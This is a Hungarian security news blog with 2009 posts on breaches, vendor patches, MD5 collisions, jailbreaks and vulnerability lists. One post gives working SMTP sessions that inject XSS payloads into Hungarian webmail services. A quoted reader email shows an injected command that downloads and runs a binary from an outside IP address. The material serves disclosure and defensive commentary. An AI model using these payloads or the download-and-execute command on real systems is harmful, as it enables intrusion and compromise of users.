Az utóbbi napok teendőáradata még megcsillagozottan is a levelesládám mélyére söpörte Kingcope levelét, melyhez a küldő egy távolról használható Sun-os DoS exploitot csatolt. A kis program egyetlen IPv6 csomag segítségével kernel pánikot okoz az arra fogákony rendszereken, ami ugyebár igen kellemetlen következményekkel járhat. Patch egyelőre nincs.

Az utóbbi napokban jó sok adatlopással összefüggő hír járta be a netet, reggeli ébresztő gyanánt lássuk hát, ki, honnan, és mennyi adatot lopott:

A sort ugyebár a Heartland kezdte. A hitelkártya-tranzakciókat bonyolító cég -bár pontos számokat még mindig nem tudni - jó eséllyel pályázhat a minden idők legnagyobb adatszivárgása címre. Fordulópontot jelethet az ügyben, hogy egy ma reggeli hír szerint a titkosszolgálat azonosította a rendszerbe kémprogramot ültető támadót.

Az angolok mindig is jók voltak személyes adataik elhagyásában: most a Monster.co.uk állásközvetítő oldal adatbázisából fújtak meg kb. 4.5 milliónyi regisztrált tag személyes adatait. Külön finomság, hogy a nevek, telefonszámok, e-mail címek, és egyéb érzékeny adatok mellett az adatbázis titkosítatlan jelszavakat is tartalmazott annak ellenére, hogy tavaly már történt hasonló eset. Vicces, hogy az előző attak után a felháborodott szakártők nyomására az oldal csak a titkosítatlan jelszavak visszaküldésének lehetőségét szüntette meg, de nem törölte a titkosítatlan változatokat az adatbázisból.

Az utolsó malőrről még a reggeli TV híradóban is láttam beszámolót: egy új-zélandi férfi az interneten vásárolt MP3 lejátszóján egy halom, amerikai katona személyes adatait találta. Az információk többek között iraki és afganisztáni szolgálatot teljesítő személyekhez tartozik de akad információ a támaszpontokon található felszerelésről is. Bár a listák nagy része 2005-ös, több máig aktív telefonszám található rajtuk.

Ezek mellet kis gondolatébresztő olvasható Bruce Schneier blogján az adatlopásokról való tájékoztatásra vonatkozó törvényekről, érdemes megkukkantani.

Nem sokkal azután, hogy a Tor projekt fejlesztő kigyomlálták mind a 171 Coverity által jelzett hibát az anonimizáló szoftverből, ma egy újabb frissítés látott napvilágot, amelyről csak annyit lehet tudni, hogy a heap-pel történő játszadozást tesz lehetővé. A hivatalos közleményben minden esetre azt írják, hogy "Neked is frissítened kell", és hogy a hiba részleteit csak bizonyos idő eltelte után fogják nyilvánosságra hozni, hogy minél több helyen sikerüljön addigra a foltot telepíteni. Addig is marad a jó öreg diff...

Mindig is meglepően egyszerűnek tartottam a MegaUpload feájlmegosztó szolgáltatásban használt CAPTCHA-t. Most úgyí tűnik, hogy enm voltam ezzel egyedül: shaunf egy neurális hálózattal működő Greasemonkey szkriptet készített, ami képes megfejteni a Turing-teszteket.  

Kipróbáltam, működik, bár a NoScripttel nincsenek jóban, ráadásul erősen meg is izzasztják a  gépet.

Chris Evans egy érdekes lehetőségre hívta fel a figyelmet a 64-bites Linux kernelekkel kapcsolatban: Az ilyen típusú rendszermagok támogatják a 64-bites és 32-bites folyamatok futtatását is. A rendszerhívásokat a hozzájuk tartozó numerikus érték alapján lehet engedélyezni illetve letiltani. A problémát az okozza, hogy ezek az értékek különböznek 64 illetve 32 biten a 64-bites folyamatok pedig futás közben képesek 32-bites módú rendszerhívásokat futtatni, így elképzelhető, hogy egy engedélyezett funkció "helyén" szereplő, letiltandó utasítás kerül végrehajtásra. 

Kemény volt ez a hét, sajnos van mit van mit bepótolnom az elmúlt napokból. Elsőként darkelf felfedezéseit közölném, melyek igen jó táptalajt adtak volna egy országos XSS-féreg járvány kirobbanásához - szerencsére (elvileg) már javították őket.

A sebezhetőségek a nagy magyar webmail szolgáltatók krémét érintették, kihasználásukhoz mindössze egy telnet alkalmazásra, és az SMTP protokoll alapvető ismeretére volt szükség. 

Freemail:

HELO
MAIL FROM: <valaki@freemail.hu>
RCPT To: <cimzett@freemail.hu>
DATA
From: "Egy ismeros <script>alert(1)</script>" <valaki@freemail.hu>
To: <cimzett@freemail.hu>
Subject: szia

Szoveg

.
QUIT

Citromail:

HELO
MAIL FROM: <valaki@freemail.hu>
RCPT To: <cimzett@citromail.hu>
DATA
From: "Egy ismeros" <valaki@freemail.hu>
To: <cimzett@citromail.hu>
Subject: szia <img src="a" onError="alert(1);" />

Szoveg

.
QUIT

VIPmail/Indamail:

HELO
MAIL FROM: <valaki@freemail.hu>
RCPT To: <cimzett@indamail.hu>
DATA
From: "Egy ismeros" <valaki@freemail.hu"<img src='' onerror='alert(1)' height='0' width='0'>
To: <cimzett@indamail.hu>
Subject: szia

Szoveg

.
QUIT

 

Az elmúlt évek során a hasonló rendszerek - a helyi esetekből és a külföldi példákból tanulva - rengeteget fejlődtek. A fenti példákból azonban az olvasható ki, hogy a fejlesztők feltételezték, csak az vehető ki a dobozból, amit ők gondos szűrések után behelyeztek oda. A helyzet azonban - ahogyan azt a példa is alátámasztja - nem mindig ilyen egyszerű: lehet hogy a bemeneti csatornák száma túlzottan nagy ahhoz, hogy minden érkező adatot ellenőrizzünk (akár teljesítmény okokból), de lehet hogy egyszerűen nincs lehetőségünk beavatkozni a bejövő adatfolyamba. 

A kimenetek szűrése ilyenkor legtöbb esetben egy huszárvágással megoldja a problémát. Ha nem akarjuk, hogy a felhasználóink potenciálisan veszélyes adatokat lássanak, ne mutassunk nekik ilyet! Azonban vigyázzunk: mindez nem akadályozza meg, hogy a programunk az elvárttól eltérő működést produkáljon egy váratlan adat hatására!

Az Apple QuickTime ezévi első frissítőcsomagjában 7+1 javítás található, melyek nagy része speciálisan összeállított fájlok illetve URL-ek segítségével kódfuttatásra lehetőséget adó problémákat küszöbölnek ki:

• CVE-2009-0001: Heap overflow az RTSP protokollú URL-ek kezelésében
• CVE-2009-0002: Heap overflow a QTVR típusú médiafájlok feldolgozásánal. ZDI jelentés
• CVE-2009-0003: Heap overflow AVI fájlok feldolgozásakor. ZDI jelentés
• CVE-2009-0004: Buffer overflow speciális, MP3 hangsávot tartalmazó MPEG-2 fájlok lejátszásakor
• CVE-2009-0005: H.263 típusú fájlok lejátszásakor felülírhatók a memória nem kívánt része, ami szintén kódfuttatásra ad lehetőséget.
• CVE-2009-0006: Cinepak kódolású fájlok esetében előjelprobléma miatt heap overflow léphet fel. ZDI jelentés
• CVE-2009-0007: QuickTime formátumó filmek JPEG atomjainak feldolgozásakor heap overflow léphet fel. ZDI jelentés
• CVE-2009-0008: Ez a sebezhetőség külön került kijavításra  és csak a Windows-os változatokat érinti. Kódfuttatást tesz lehetővé.

Köszönet a ZDNetnek az összefoglalóért!

Elképzelhető, hogy minden idők legnagyobb adatlopási botrányára derült fény tegnap este: A Hearland Payment Systems, amely nagyjából 250.000 amerikai vállalkozás hitelkártyás vásárlási adatainak feldolgozásáért felelős bejelentette, hogy a MasterCard illetve a Visa bejelentése alapján megkezdett nyomozás során a titkosszolgálat emberei egy, valószínűleg kártékony szándékkal a rendszerbe ültetett szoftvert találtak, amely rögzítette a rendszeren keresztülmenő kártyaadatokat. 

Bár pontos számot a kiszivárgott adatok mennyiségével kapcsolatban még nem tudtak mondani, elvileg a negyedmillió kliens cég bármely hitelkártyát használó ügyfele érintett lehet az esetben. A Heartland rendszerén havonta körülbelül 100 millió tranzakció fut keresztül. 

A társaság szóvivője elmondta, hogy kártya nélküli fizetéseket a megszerzett adatokkal viszonylag nehéz -de nem lehetetlen - véghezvinni, mivel az ügyfelek címei nem voltak az eltulajdonított információk között. Klónkártyák készítése emellett természetesen lehetséges. 

Ezt Hungertől kaptam tegnap:

a múlt hét vicce díját számomra az a pont egy hetes bejegyzés nyeri (
http://isc.sans.org/diary.html?storyid=5686 ), ahol a SANS ISC egyik
olvasója nagyban ecseteli (az oldal vezetői pedig le is közlik), hogy
milyen ügyesen megfogtak, kollégája és a feállított honeypotjaik
segítségével egy próbálkozást, amely a karácsony óta publikusan
elérhető roundcube webmail exploitomon alapult.

A script kiddieket kifigurázó, magukat minden bizonnyal többre tartó
"szakemberek" végül olyan snort IPS szabályokkal állnak elő, amelyek
csak egy bizonyos IP címről érkező próbálkozást jeleznek és csak ha
ugyanolyan módon összeállított parancsokat tartalmaznak [ passthru("cd
/tmp;wget 85.214.64.225/wcube;chmod +x wcube;./wcube >/dev/null
2>/dev/null &"); ].

A timestamp alapján is egyértelműen látszik, hogy nem egy automatizált
támadásról van szó, így annak esélye, hogy ezzel a szabállyal
megfognak bárhol máshol még egy próbálkozást, gyakorlatilag nulla,
hisz elég akár csak egy plusz szóköz az injektált kódba és a snort
rule-ban található feltételek máris nem teljesülnek.

Tanulság: Ha nem rendelkezel az out-of-box gondolkodás képességével,
akkor az se segít, ha fut nálad egy snort IPS... :)

Annak idején bejárta a sajtót a Princeton egyetem kutatóinak "felfedezése", melynek segítségével a titkosított partíciók kulcsa kinyerhető volt a kikapcsolt gépek RAM-jából némi folyékony nitrogén vagy fagyasztóspray segítségével.

Egy nem rég indult blog nagyjából univerzálisan használható megoldást próbál nyújtani a problémára. A dolog lényege, hogy a titkosítási kulcsot a memória helyett a processzor cache-ébe rakjuk el, és letiltjuk, hogy a gyorsítótár felülíródjon, illetve hogy tartalma átíródjon a RAM-ba. 

A téma mindenképpen érdekes, de az is jó kérdés, hogy speciális célhardverrel, a processzort áram alatt tartva (vagy netán azt is megfagyasztva?) kinyerhető-e a chache tartalma? 

A Panda Security jelentése szerint tegnap ismeretlenek egy "Obama visszautasítja az elnökséget" című hírt helyeztek el a leendő elnök weboldalán, a Change.gov-on. A címre kattintva a felhasználó gépére egy kártékony program települt, ami egy fast-flux botnet részévé tette az áldozat számítógépét. Az illetékesek azóta eltávolították a hírt és kapcsolatba léptek a malware-t kiszolgáló kínai szolgáltatóval a káros tartalom eltüntetése érdekében. 

(Csak hogy a feedolvasókban se jelenjen meg hülyeség) Bocs, még reggel van, meg éppen sietek. Szóval nem törték meg a Change.gov-ot csak regisztrálitak egy halom kamu domaint, amiben lekoppintották az eredeti oldalt, és ezeken hosztolták a malware-t. Részletek a Panda Security oldalán

 MuscleNerd helyi idő szerint szombat délután bemutatta a már beharangozott redsn0w-t, amely a Dev Team iPod Touch 2G jailbreakelésére alkalmas szoftvere lesz - ha végre megjelenik a nagyobb nyilvánosság számára is. Jelenleg a cucc kísérleti stádiumban van, de jól láthatóan működik. Az egyetlen probléma, hogy a jailbreak-et minden egyes bootolásnál meg kell ejteni, ami a legtöbb felhasználó számára elfogadhatatlan. A yellowsn0w-val ellentétben a csapat most nem tűzött ki megjelenési dátumot, de megígérték, hogy sietnek a fejlesztéssel :)

Megj.: Az előző ejegyzésben tévesen iPhone Touch-nak neveztem a kütyüt, bocs, nem vagyok egy Apple fanboi.

A belinkelt Qik videó melletti chat dobozban - bár nick alapján úgy tűnhet - nem a Dev Team tagjai szövegelnek, ne dőljetek be nekik!

Úgy tűnik, az MD5 valóban végnapjait éli: Didier Stevens megmutatta, hogy Peter Selinger 2007-ben bemutatott, bináris fájlokra is alkalmazható ütköztetési módszerével át lehet verni a Microsoft Authenticode ellenőrző mechanizmusát.

Az Authenticode lényegében egy digitális aláírás, amelyet a Windows operációs rendszerek automatikusan ellenőriznek a programok futtatásakor. Stevensnek sikerült Selinger demó alkalmazásátúgy módosítania, hogy az ne tűnjön fel az ellenőrző mechanizmusoknak. 

Ugyan még nem láttunk példát arra, hogy az MD5 ütköztetést sikerrel alkalmazták volna úgy, hogy a módosított állomány valódi kárt okozhatott volna, az Authenticode-ra pedig gyakorlatilag az összes felhasználó nagy ívben tesz, ez a kísérlet valószínűleg egy újabb szöget vert a jó öreg MD5 koporsójába.

Craig Wright, Dave Kleiman, és Shyaam Sundhar most megjelent tanulmányukban azt állítják, hogy az adatmegsemmisítő szoftverek tömegeit inspiráló Gutmann-módszer egyszerű időpocsékolás. A kutatók vizsgálataiból az derül ki, hogy legyen szó akár ősrégi 1 gigás merevlemezekről, akár a legújabb típusokról, egy egyszeri, nullákkal történő felülírás is olyan változásokat eredményez a lemezeken, amely után bitenként mindössze 56%-os valószínűséggel állapítható meg annak eredeti állapota.

Még nem jutottam a cikk végére, de arra azért kíváncsi vagyok, hogy Gutmann eredeti elméletében mi nem stimmelt. Arra minden esetre továbbra is jó lesz figyelni, hogy az operációsrendszer illetve alkalmazásai által létrehozott gyorsítótárazott másolatok illetve biztonsági mentések ugyanúgy felülírásra és törlésre kerüljenek, mint az eredeti fájl.

A Heise-Online cikke alapján.

A héten megjelent egy, a SANS, az NSA, a Symantec és még egy sor neves szervezet közreműködésével készült, a 25 legveszélyesebb programozói hibát tartalmazó toplista. A gyűjteménynek jó nagy médiavisszhangja lett, jó eséllyel a Common Weakness Enumeration Top 25 legalább akkora népszerűségre fog szert tenni, mint az OWASP Top 10. 

Az utóbbi napokban kicsit elfoglalt voltam, mások pedig úgyis megelőztek, ezért nem írtam beharangozót a témában, viszont volt időm kicsit összeszedni a gondolataimat, ráadásul  a médiafigyelem hatására több kritika is megjelent az ilyen és ehhez hasonló listákkal kapcsolatban. Én most igyekszem egy tömör összefoglalót adni arról, hogy milyen fenntartásokkal érdemes kezelni az ilyen jellegű - egyébként sok szempontból bizonyosan hasznos - gyűjteményeket.

Biznisz és Menedzsment

Ritkán írok erről, de ebben az esetben sajnos nem lehet figyelmen kívül hagyni azt, hogy a döntéseket általában nem az egyszeri mérnökök, hanem a főnökség hozza. A főnökség pedig a legritkább esetben van tisztában az alkalmazottak szakterületének mélységeivel, az ilyen n pontos listák viszont úgy tűnhet, hogy jó támpontot adhatnak a mérlegelésben: az elvárt munka jól számonkérhető, ha megvan mind az n darab pipa, akkor a feladatott teljesítettük. De a programozó is kényelmesnek találhatja ezt a megoldást, hiszen ahelyett, hogy minden függvény megírása után végig kellene gondolnia a  már-már beláthatatlan számú futási esetet, egy véges lista áll rendelkezésre az elvárt biztonsági ellenőrzésekről. 

Csak arról vagyunk hajlamosak megfeledkezni, hogy a listánk címe úgy kezdődik, hogy a Leggyakoribb... , vagy Legveszélyesebb..., nem pedig úgy, hogy az Összes... Az n+1. hiba pedig ugyanolyan végzetes lehet, mint a lista tetején álló. Ráadásul az idők változnak: új sebezhetőségtípusok jelennek meg, néhányan pedig lassan kivesznek, és teljesen más hozzáállással kell egy hagyományos C vagy C++ program kódjának átvizsgálásához állni, mint mondjuk egy Java-s webalkalmazáséhoz. Mindez máris problémát okoz, ha valaki csak a kellő számú pipát próbálja összegyűjteni.

Alkalmazhatóság és oktathatóság

De tegyük fel, hogy a listánk kellően átfogó és általános ahhoz, hogy némi mérnöki konzultáció után gyakorlatilag minden felmerülő esetben használható legyen (a CWE Top25 egyébként véleményem szerint erősen közelít ehhez)! Vajon az egyszeri programozó meg fogja tudni ítélni, hogy mi számít "megfelelő bemeneti validációnak"? Vajon a menedzser rá fogja szánni a pénzt egy erős kripto hardverre, ha Béla megoldását azzal a XOR-ral (vagy mivel) már évek óta probléma nélkül használják?

Az ilyen listák tipikusan arról szólnak, hogy mit ne csináljunk, és nem arról, hogy hogyan kellene a feladatokat elvégezni. Tipikus fehérlista-feketelista probléma: könnyű rengeteg kizárandó tevékenységet összegyűjteni, de a listát befejezni szinte lehetetlen; jó metodikát találni ezzel szemben igen nehéz, de ha egyszer sikerült, a siker garantált. Ugyanígy, a jó programozók képzése hosszútávon sokkal hatékonyabb, mintha a botcsinálta kóderbe egyenként kellene beleverni a kismillió hiba elkerülésének módját - sajnos azonban a slágerlisták pontosan ez utóbbi gyakorlatot erősítik. A hosszú évek alatt összegyűlt bugtenger felderítésére önműködő programok írhatók, melyek gyorsabban és biztosabban derítik fel a már ismert hibamintákat - az ismeretleneket azonban csak a programozó szintjén, már bizonyított módszerek átadásával és használatuk kikényszerítésével lehet kivédeni.

PEBKAC

A megfelelő képzes és körültekintés azonban mit sem ér, ha a titkárnő a montirára ragasztja a jelszavát, a könyvelő elhagyja a pendrive-ját, vagy a rendszergazdából előbújik Káosz Professzor.

Nem szabad, hogy úgy érezzük, csak a rosszul megírt programok okozhatnak problémát az IT infrastruktúrában. A legsúlyosabb biztonsági incidensek nagy részéért még mindig az emberi esendőség tehető felelőssé, a CWE Top 25 pedig "az ellen nem véd".

Akit mélyebben érdekel a téma annak tudom ajánlani Gary McGraw cikkét, amely részletes áttekintést nyújt a fenyegetettségi listák történelmét illetve problémáit illetően. 

A ma megjelent Drupal frissítések biztonsági szempontból elsősorban a 6-os főverziót érintik: A tartalomfordító modul eddig lehetővé tette a modul használatára jogosultakat, hogy olyan tartalmakhoz férjenek hozzá, melyhez egyébként nem lenne joguk. A másik sebezhetőség engedélyezett profilképek esetén lehetővé tette érvénytelen felhazsnálónevek illetve e-mail címek megadását a felhasználói profilokban.

Mind a 6-os mind az 5-ös főszéria további SQL injection elleni védelmet kapott. Bár nem ismert olyan módszer, amely lehetővé teszi káros SQL kérések futtatását a frissítést megelőző verziókban, ez a módosítás extra védelmet nyújt a tartalomkezelőt használó weboldalak számára.

A PSPGEN nevű francia oldal néhány tagjának állítólag sikerült szoftveres eszközökkel aláíratlan kódot futtatnia PSP 3000-en - hardveres törésről már korábban beszámoltunk. A firmware védelmi mechanizmusainak megkerüléséhez a GripShift nevű játék egy puffer túlcsordulásos sebezhetőségét használták ki. Az ezen keresztül megszerzett információk segítségével sikerült megírniuk saját, HEN loader névre keresztelt szoftverüket, amely képes "homebrew" módban újraindítani a kütyüt, így pedig lehetőség nyílik házilag készített alkalmazások futtatására is. 

A Dev Team ma egy rejtélyes posztot publikált, melyben egy redsn0w newű eszközt harangoznak be. A kevés megjelent infó szerint megint egy kütyüről van szó, ami elfér a zsebedben, de nem az iPhone 3G. A kommentek között MuscleNerd az egyik találgató látogató megjegyzésére válaszolva azt állította, hogy a cucc az iPhone Touch 2G-hez készült. Ez persze még nem hivatalos, várjuk az infókat.

Súlyos biztonsági rést találtak a böngészőkben

A hiba a Javascript nyelvet kezelő modulban van, és minden nagyobb böngészőt érint. A kihasználásával kihagyható az adathalász támadásokból az emailes beetető fázis, ahol a legtöbb ilyen próbálkozás elbukik a spamszűrőn vagy a felhasználó gyanakvásán.

Arról van szó, hogy a Trusteer megnézte, hogy az egyes banki oldalakon miből látszik, hogy valaki be van-e lépve a fiókjába, ezen a listán végigzavarják a szkriptjüket, ami minden oldalt letölt, és ellenőrzi, hogy az aktuális felhasználó be van-e jelentkezve az adott szolgáltatásba, és ha igen, akkor feldob egy pop-up ablakot az aktuális bank designjával, amiben bekéri a hozzáférési adatokat. Innentől a sztori ismerős.

Az adathalászathoz eddig is elég volt egy-egy feltört oldal, de a spam kétség kívül megdobta a kampányok hatékonyságát. Ez valószínűleg most sem fog változni. A csavar ugyebár ott van, hogy hogyan ellenőrizzük, hogy valaki be van-e lépve egy adott szolgáltatásba. Nos, erre már láttunk példát, de a Trusteer azt állítja, hogy egy még hatékonyabb módszert talált. Ezt persze kíváncsian várjuk, de hanyattesni azért nem kell: ez is csak egy adathalász támadás, nem muszáj neki bedőlni.

Az Oracle idei első javítócsomagjában összesen 41 sebezhetőséget javít, melyek közül 20 érinti a vezető adatbázis ágazat termékeit.  

Az Oracle adatbázisszervert és kliensét érintő 10 sebezhetőség közül egy sem használható ki távolról, autentikáció nékül, mindazonáltal az ilyen jellegű szerver oldali sebezhetőségek esetén az SQL injection lehetőségével mindig számolni kell.

Rosszabb a helyzet a Secure Backup, az Application Server és Application Express, a TimesTen In-Memory DB és a BEA Product Suite esetében, melyek mindegyikében távolról, autentikáció nélkül kihazsnálható sebezhetőségeket fedeztek fel.

További információ az Oracle közleményében.

Egyebek:

iDefense jelentések: Oracle Database, Orace Secure Backup 1, Oracle Secure Backup 2.

Zero Day Initiative: Secure Backup, TimesTen

milw0rm: Secure Backup, TimesTen

A Microsoft ebben a hónapban egy szerény frissítőcsomaggal állt elő, amely egy kötegben három, az SMB protokoll kezelését érintő problémát javít. 

A három folt a CVE-2008-4834, CVE-2008-4835, és a CVE-2008-4114 jelű sebezhetőségeket orvosolja. Ezek közül az első kettő távoli kódfuttatásra ad lehetőséget Windows XP, 2000 és Server 2003 rendszereken. A második sebezhetőség Vistán és a Server 2008-on is hatásos, utóbbi esetben is csak akkor, ha Server Core telepítést választottunk, vagy Itanium architektúrán futtatjuk a rendszert.

Az SVRD blog szerint ezen sebezhetőségek kihasználhatósága igen korlátozott, mivel csak 0 érték beírását teszi lehetővé a memóriába, a felülírás pozíciója pedig igen nehezen kontrollálható.

Mindazonáltal mindhárom sebezhetőség alkalmas DoS támadások kivitelezésére.

További infók:

Zero Day Initiative: 1, 2

Brian Mastenbrook komoly biztonsági hibát fedezett fel a népszerű Safari böngésző RSS olvasójában, amely alkalmat ad a felhasználó érzékeny adatainak (e-mailek, jelszavak, sütik stb.) távolról történő kiolvasására. Minden Safarival böngésző Windows felhasználó érintett, OS X felhasználók pedig akkor is veszélyben vannak, ha az alapértelmezett RSS olvasójuknak a Safarié van beállítva, de egyébként nem ezt a böngészőt használják. 

Részletek egyelőre nem láttak napvilágot a hibával kapcsolatban, de Windows felhasználóknak ellenjavallt a Safari használata, az OS X-et használók pedig jobban teszik ha átállítják az alapértelmezett RSS olvasójukat!

Vincent Chu kis programjával tetszőleges, maximum 200x200-as JPEG képet alakíthatunk ASCII "formátumba", miközben a keletkező állományba bizonyos mennyiségű bizalmas információt is belerejthetünk. Az így keletkező szövegfájlt ezután akár ki is nyomtathatjuk, a belé kódolt információ megmarad: dekorációs célokra ideális alkotások készíthetők tehát :)

A Slashdoton is kint van a link, ami miatt sokszor az "Over Quota" fogad bennünket az oldalra látogatva, de ne keseredjünk el, próbálkozzunk újra!

Újabb törvény javaslat a felhasználók felügyeletére, amelyet az EU-ban mindehol bevezetnének. Ami a következőt jelenti, a rendőrségnek joga van feltörni otthoni számítógépeket, indolkolt esetben, hogy visszaszorítsák a kiberbűnözést.

Peter Sommer, London School of Economics professzora szerint, ebben semmi új nincs, ez már 2000 óta működik, illetve hogy az Uniónak biztosítani kell, hogy a többi európai országban is hasonló legyen a törvényhozás.

Természetesen ez azonnal polgárjogi szervezetek ellenszevét váltotta ki, és a személyes magánélet védelmére keltek.

Sommer elmondta még, hogy ezt ritkán használják, mert vírusírtók, tűzfalak figyelmeztetnék a felhasználót, ami olyan kockázatot jelent, amit a rendőrség gondosan fel akar mérni.

Rengeteg kérdést vet fel a dolog.

Mi számít indolkolt esetnek? Aki el akar, eltud-e bújni ez elől? A rendőrség szakembereinek hozzáértése, vagy épp hozzá nem értése.(Ha a magyar rendőrségből indulunk ki.) Illetve a személységi jogot sért-e!? Egy ilyen törvény meghozatala, a lakosság figyelmen kívűl hagyásával? Illetve még egy manapság fontos kérdéssel, a fájlmegosztással kapcsolatban mi várható(csak mert ez is bűn)?

Szerintem aki eddig rejtőzködve tevékenykedett, az így is megoldja, aki nem az vagy magára vet, vagy változtat, mert nem mindenki szereti a nyilvánosságot.

<buherator> Harsonaszó, dobpergés: Az alábbiakban reménybeli szerkesztőtársam, N1gg@ első szárnypróbálgatását olvashatjátok. Fogadjátok szeretettel, és adjatok sok visszajelzést, hogy minél több és jobb poszttal szolgálhassunk a továbbiakban!

Miután az elmúlt hónapban kijött egy kritikus biztonsági javítással az Internet Explorer-hez, a Microsoft tervezi egy újabb javítás kiadását a jövő hét folyamán.

A frissítés mind a szerver mind az asztali verzióhoz készül, ami megakadályozza, hogy a támadók jogosulatlanul szoftvereket telepítsenek az áldozat gépére.

A Microsoft azt nem árulta el, milyen hibákat foltoz, de van miből válogatniuk:

Az elmúlt hónapban a cég figyelmeztetett a WordPad Text Converter és az SQL Server adatbázis szoftverben lévő hibákra. A kutató, aki felfedte az SQL hibát, azt állította, hogy a Microsoft április óta tudott a kérdésről.

Egy másik kutató állítása szerint, a Microsoft Windows Media Player is tartalmaz bugot, de a Microsoft vitatja ennek létezését.

A nyilatkozatában Andrew Storms a Security Operations elnöke szinte hőstettként írja le, hogy a Microsoft megakadályozza, hogy a hackerek jogosulatlan kiváltságokat szerezzenek a számítógépeken.

Illetve elmondta még, hogy miután elkezdték kihasználni ezt a hibát és jelszó-lopó szoftvereket telepítgettek az áldozatok gépein; egy röpke hónap alatt javításra került.

Le a kalappal!

Mindazonáltal, a kutató szerint, aki megtalálta a hibát, nem fog elkészülni jövő hétre a patch, mert előbb osztályozzák és a helyi jogosultság kiterjesztést jellemzően nem tekintik kritikusnak - mondta Cesar Cerrudo, Argeniss biztonsági kutatócég vezérigazgatója.

Szerintem ez igen érdekes felfogás, részemről bármilyen hiba kritikusnak, tehát azonnal javításra szorulónak  minősülne, mindegy, hogy miről van szó.